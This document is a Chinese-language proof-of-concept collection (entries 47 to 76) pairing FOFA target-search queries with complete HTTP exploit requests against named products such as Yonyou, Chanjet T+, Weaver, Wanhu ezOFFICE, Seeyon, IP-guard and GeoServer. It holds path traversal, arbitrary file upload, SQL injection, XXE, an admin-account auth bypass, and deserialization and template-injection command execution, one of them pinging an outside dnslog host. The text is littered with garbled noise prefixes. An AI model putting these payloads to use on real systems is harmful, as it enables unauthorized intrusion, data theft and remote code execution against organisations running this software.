* V1 r0 Y5 n. t7 x8 M6 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 }6 u* |$ W% ~* ~! Q$ m. s9 nAccept-Encoding: gzip, deflate
& {8 g  r; h' eAccept-Language: zh-CN,zh;q=0.9
Connection: close

3 d* ?. p% S( p9 S( c) }
47. 用友GRP A++Cloud 政府财务云 任意文件读取
+ s( s* Q2 [0 w( u. FFOFA：body="/pf/portal/login/css/fonts/style.css"
( z; U5 z$ u: w3 ~) O: bGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
8 h$ w% s$ h/ Z. h8 V+ \5 jHost: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
) l+ h* R, [+ Z5 m: }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ Q  e$ T3 {' W  E1 J, H" iAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
! X" _+ J5 V" L! |9 l, r' |0 X, dConnection: close

5 ~7 v- W  [5 d) V# s

48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
5 R. O+ H4 E% r4 u0 m! W" AHost: your-ip
: B4 h1 H  Z" \/ n* @" {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* O/ k9 D% n/ T: G" r6 GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. h" Y$ X; |0 L' k  Y8 _3 eAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
5 B5 s( C/ ?0 f------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
+ b4 n% z% W6 |% T( u8 b* |------269520967239406871642430066855
; G1 r5 p9 A$ G2 ?+ n4 GContent-Disposition: form-data; name="upload"
upload
: V) c6 {( W' C- F) s------269520967239406871642430066855--

8 e( D" Q+ a& n
" V. U% ^( P) O5 c$ j49. 用友U8 CRM系统uploadfile.php接口任意文件上传
- l9 o# j! \9 n' s: V( eFOFA：body="用友U8CRM"

1 p/ h6 m- r4 ~/ |7 m. m, f/ B3 {+ BPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# i/ j  w: `9 \2 DContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; {& m0 `4 x3 f3 Z" }% y, c: gAccept-Encoding: gzip, deflate
6 @- \0 i8 `5 z" IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 T" `: a) C- S. W. o: y8 JConnection: close
  Z" }3 U* ]$ V0 i* k9 f9 VContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

0 U! }( ^/ y# M. `, ~# {3 E, g-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
; _3 y* }9 q% w  `- Q1 G5 _& eContent-Type: application/octet-stream
0 I) g7 {0 ?2 F: Z& D; h" L
wersqqmlumloqa
1 ?# [- R- G9 {-----------------------------vvv3wdayqv3yppdxvn3w
9 h$ L5 s! Q1 ^( s$ w, Q& HContent-Disposition: form-data; name="upload"

/ V9 P+ o  T% Y: a6 P( ^upload
" k; P4 G' p  K-----------------------------vvv3wdayqv3yppdxvn3w--
- d# \+ a% R. A+ t
3 m- m0 g! E4 S& K5 C) T6 v" M
http://x.x.x.x/tmpfile/updB3CB.tmp.php
# S3 q, ^; Z1 t! j, Y% ]7 |9 ~) p
50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
, p) Y, n6 I; B8 ^  w# SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
6 Y. J% R. x0 YAccept-Encoding: gzip

! w' }6 ~9 Z$ c0 T' rsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

4 ]' X2 d2 E; g! o! M7 D
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
; d' n! I1 {3 d; u& ]3 I: DFOFA：app="云时空社会化商业ERP系统"
; I6 i: N, Z: h* X9 {GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
, L) h# G3 Q; }- ]3 r( k1 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
0 f& l8 e5 |# R" ~! CAccept-Language: zh-CN,zh;q=0.9
Connection: close
4 `+ G, }6 O$ e) t; U9 O8 ~

52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
- A7 D  v4 g8 w, S9 IHost: 192.168.86.128:8097
9 T" r" p9 r0 k# u7 bUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
5 X+ ~; F. `9 }1 V+ z& x& I6 mConnection: close
Content-Length: 87
( y  ]' t) i3 S# `Accept: */*
% S/ [; r! N! B* }Accept-Language: en
* G* r9 e) r; Q5 NContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
( t" X7 s6 X$ q* F* B2 v% j
tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
4 w3 H, \9 d* F/ a
$ z  L1 h4 h8 k7 [. ^. h) s$ W* @
5 h0 v! D0 Q2 A& m53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
+ G4 l; D: k& c: A! c/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"


完整数据包
4 B: }2 j8 g' @. {POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
+ R8 w" n3 k7 w& \$ @Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593
, K: {! ^' h  N1 w
. t+ k- a  L4 s- e) C2 A! r( Z{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
- \( G) F! k5 T  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
1 o; q  ?: L. g; B( k    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
2 t+ S$ h) @: \8 U7 T3 f+ i+ V) C' S* q    }
  }
' ?% {3 x8 p1 Q- K! j) m! `+ x( c  }
}


# J. a" i/ C, a$ o, B  t第二步，访问如下url
; M4 {7 N: ]5 q, `/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
3 g) ^+ ]( W+ ?  T/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
. E: h' y1 h# ?  V第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
8 Q2 h1 H  P' R+ w& f$ z4 l0 X
$ z2 A& h, e# @# I56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
6 j$ K+ W6 R9 B) C: ~) R: A  pContent-Type: application/json
8 c  o& p& B, l" O
- |: D% K5 R$ N9 u! S* u{
  "storeID":{
0 ^6 k6 }# E0 M    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
7 H. R" Q- |- ^- I: c. q        "StartInfo": {
2 y, L$ i' k9 r5 y+ v( H# V           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
2 Q$ ^! ~) e. e, z* O9 X2 F2 A) @/ a       }
    }
. B, v9 F; T) y; q3 b0 t0 g  }
  A  E* O4 b( K" C, G- W}


7 P- `% G# l( W% c" M' {! v6 V1 v0 l57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
: I  N' r0 [5 W( W4 a' X8 Y+ PGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
- }; d& n8 y. U* I" s6 xUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
2 r1 @( G% l1 }" M. ^. t+ [Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
/ z2 R9 V& K: i0 \  x  ~

2 P( T$ c* n+ X- A/ i: `- j: ]58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
( E# ^% ~& s# w( D" _GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
$ j# G) g! X8 A% VHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
5 A( ?! K4 z4 K: g+ E9 SAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

: F* U  Q' {, H) ^9 |5 V
- F. v  V2 B- `59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
$ v9 i8 S2 N1 L- ?3 X- q3 VPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
4 t0 c, t" X# hHost: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
) R8 \3 d7 @8 v; X4 F0 ?9 c3 Q8 o1 CConnection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
, ]7 i7 p( y$ G/ fAccept-Encoding: gzip

PAYLOAD
: `+ E7 J1 `! M( S8 B3 _: F
, G5 y# g0 c/ Z6 ?
. {( o7 _' o* F2 T& K60. 百卓Smart管理平台 importexport.php SQL注入
& H% _& P6 R9 K# kFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
# ?% o( V* h$ o1 AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
$ E+ V  d6 x. y9 X$ Z' ^Accept-Language: zh-CN,zh;q=0.9
3 E0 ?0 h5 |6 L0 {) EConnection: close
# d$ b5 m" p- e6 ]1 ?4 w6 ?" x& V

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
6 D6 v& i8 `3 F5 B/ g' N/ M" w/ EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
' Q1 D# d/ o; [4 D  eAccept: */*
Accept-Encoding: gzip, deflate
1 v" a8 {; I) ?) a' o! h2 o: T& o" N7 xAccept-Language: en
/ E4 B" f6 Q: a* _8 `' c+ ZContent-Type: application/x-www-form-urlencoded
0 B  d6 ]  {* t
) s; f7 {1 Y+ k. F! G+ P8uxssX66eqrqtKObcVa0kid98xa


62. IP-guard WebServer 远程命令执行
0 N% G! n% G9 C" O3 ^) dFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
+ C8 V5 ~' Z% ]" t% G+ |' y: dConnection: close
0 c8 O4 [$ c4 |+ \3 U; Z' b; VAccept: */*
Accept-Language: en
5 H5 N3 y% n' b" pAccept-Encoding: gzip

  ]% @5 {! W7 z2 e! b* M5 _
5 w8 U) k" e$ }0 o: A4 e6 q  ~访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


63. IP-guard WebServer任意文件读取
' Z, V5 ^5 {+ t9 mIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
* ~/ j3 X& y" t4 A5 ^POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ D  C& Q+ o5 t9 V# n* q. m7 ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
  z3 B# k; n* m7 }& z, ]( Q! |; o" e1 RConnection: close
) L9 e7 H, Q8 F& k9 sContent-Type: application/x-www-form-urlencoded

. `5 x0 l  Q- }# t; I+ jpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
0 I+ s; c9 b( B2 z& Y6 J- Z* O
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
; {3 N2 J; P' C; O- Y3 i8 ?) KUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
( ?% L0 b3 r, OContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
- x6 s- m: B7 Y+ F( Z7 h( Y
* ?1 Z' w% h! w2 u& ]' B<?xml version="1.0" encoding="utf-8"?>
5 {8 X5 n  E  J2 f. r! i' H9 |<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
$ S9 }; K: L7 ?7 {1 c, _    <GetOSpById xmlns="http://tempuri.org/">
. c8 {7 y0 v  I% A! X+ @' W      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>

" \- o/ E: |3 r6 F0 m" _2 ]3 j
- n( E& j+ P. t, ?- {6 h2 w65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
  `+ k4 C) f1 X2 t; bFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
2 H! e5 j+ K2 Q响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
7 y$ G  _1 W+ K  G/ cUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
: k' K! y$ r0 [8 M& hAccept: */*
0 }3 S) E; _( ]) T+ S$ g* [) O! JConnection: close
Accept-Language: en
1 u$ g$ J$ w( p( s' UContent-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
& S" Z0 Y( R+ q9 K! I
3 Y# N9 a7 f/ P; V. J3 u  G
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

) {; d" Y! S  e7 w+ r7 \& A" Z! fGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
! c; t7 y7 Y; }9 l1 O1 BHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
% m! u& R, s. a* U) [, }: \Connection: close
" r2 n! G2 S8 D5 d+ N  Y6 LAccept: */*
Accept-Language: en
+ X1 d8 t. I: D7 U5 r- p( ZAccept-Encoding: gzip


) j9 d5 d2 Q0 t第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
0 ?0 a) u  C/ P# U. r6 v
% p" T& X; Z  s2 ^% E: i  L67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
3 _! v+ S& [/ `newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
( y' f3 x6 ^2 gContent-Length: 173
) a- |  m4 u+ sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 \9 u  H) W/ K' [9 \Accept-Encoding: gzip, deflate
$ F9 r6 `7 _) h3 f' q4 T( BAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
( @. }- N' q  }; s+ W* MContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
, Y/ ?' o& S1 TDNT: 1
Upgrade-Insecure-Requests: 1
( x- \; ]: C8 D" M8 p( j9 f
--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--


文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
" _' z" e1 n9 H4 U( k. g: r" K
68. 万户ezOFFICE wf_printnum.jsp SQL注入
. t: [( i) I" p- B- x0 }FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
" e4 W$ ^7 t5 w4 n1 |2 F! c% ^$ XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 X/ P; w6 R* ]; H! y& ZConnection: close

: D0 P& ~  e  ?& s2 j* M$ |. @
69. 万户 ezOFFICE contract_gd.jsp SQL注入
, ^( ^6 B2 b/ A1 w- u  n1 uFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
; c/ b( W' o; o3 RUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

- n. b% @6 g6 e: s) s
+ `3 _" m, [, p% @* F" E7 @, K70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
5 R2 P+ F) \1 c8 ?POST /member/success.aspx HTTP/1.1
$ V5 P# p1 {3 p  v/ ?) dHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
3 a2 @) f, R+ v2 r0 L% D; |TYPE: C
Content-Length: 16702

5 V% t- }7 O7 d" c% _, ?  o__VIEWSTATE=PAYLOAD

0 k( g* r5 {3 P' L7 u
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
5 Y9 [6 y3 x# A7 |4 uFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 V2 b" ]* C4 S- R5 p* X& R# Z# RAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* ~2 f" R- O( R; F% bUpgrade-Insecure-Requests: 1


- Z. u( N4 l- T% K8 ?72. 致远OA getAjaxDataServlet XXE
+ c" i( u# V1 B7 LFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
& u6 |7 H7 A# W% ^) R* ^+ M8 lHost: 192.168.40.131:8099
- ^1 Y# {4 D0 t6 T1 @: D+ |User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
" e/ |+ `# \0 R. E* N* YConnection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
2 g. ^/ k: m/ L: h' u  |0 YAccept-Encoding: gzip

# g& D- C! I; @. K9 HS=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
( ~2 i0 [2 [' A. O! B" M' F

73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
3 X4 T1 I+ T6 W+ j+ W4 n0 kPOST /geoserver/wms HTTP/1.1
& s, u0 n# r% {Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
1 c( {5 ~5 I, e, U& m. _Accept-Encoding: gzip, deflate
Connection: close
& w( s" j* Z, aContent-Type: application/xml
* _, y# r& J( p, aSL-CE-SUID: 3

PAYLOAD
3 j$ Q5 ]; X5 k3 k3 P. u1 R, V
$ h  H% H3 b; C6 J
% t& _3 h( z! i3 b0 b, T8 U' v9 C74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
, p5 f. f" k4 @5 }PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
- p) @# ~5 ^" w' u$ f# BFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
' Z5 [: w; ~/ ~- KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
% F; D3 S; z9 \$ UAccept: */*
# h' F4 m! v' G7 b5 s0 \Accept-Language: en
5 `/ U. U1 u, \1 cAccept-Encoding: gzip
- s4 X9 o6 r5 L. N, F

4 g# W& a, o% I0 O. bGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

/ J& `: j1 \  n) w: f
( X8 [* c( t* }$ k  |0 A# o76. 新开普掌上校园服务管理平台service.action远程命令执行
- h% W" B9 K! n- T/ [! i+ l5 lFOFA：title="掌上校园服务管理平台"
* X0 i6 K3 q* h: [1 PPOST /service_transport/service.action HTTP/1.1
2 i' s# k' L: C* PHost: x.x.x.x
9 Z9 s- C. `* A9 m0 ]. w7 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
' w7 g# h0 ], I% g2 A! l  I' }& ^Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 @. ^: C4 [8 N5 _Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
" E; o% x& V  n  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
$ T& P: D$ q# W8 c5 m}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x



